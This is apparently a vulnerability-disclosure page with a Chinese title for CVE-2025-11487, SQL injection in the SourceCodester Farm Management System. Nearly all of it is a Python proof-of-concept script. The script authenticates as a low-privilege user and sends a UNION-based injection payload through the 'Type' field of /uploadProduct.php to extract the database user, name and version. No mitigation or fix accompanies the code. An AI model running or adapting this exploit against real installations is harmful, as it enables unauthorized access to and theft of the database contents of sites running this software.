CVE-2025-11487：SourceCodester Farm Management System SQL注入漏洞

# CVE-2025-11487 - SourceCodester Farm Management System SQL Injection PoC # Vulnerability: SQL Injection via 'Type' parameter in /uploadProduct.php # CVSS: 6.3 (MEDIUM) import requests # Target configuration TARGET_URL = "http://target.com/uploadProduct.php" USERNAME = "test_user" # Low-privilege authenticated user PASSWORD = "test_password" # Step 1: Authenticate to obtain session cookie session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } session.post("http://target.com/login.php", data=login_data) # Step 2: Craft SQL injection payload for the 'Type' parameter # Using UNION-based injection to extract database information sql_payload = "' UNION SELECT 1,user(),database(),version(),5,6,7,8-- -" # Step 3: Send the malicious request files = { "image": ("test.jpg", b"dummy_image_content", "image/jpeg") } data = { "Type": sql_payload, "productName": "test", "description": "test" } response = session.post(TARGET_URL, data=data, files=files) # Step 4: Parse the response for extracted data if response.status_code == 200: print("[+] Injection successful!") print(f"[+] Response: {response.text[:500]}") else: print(f"[-] Request failed with status code: {response.status_code}")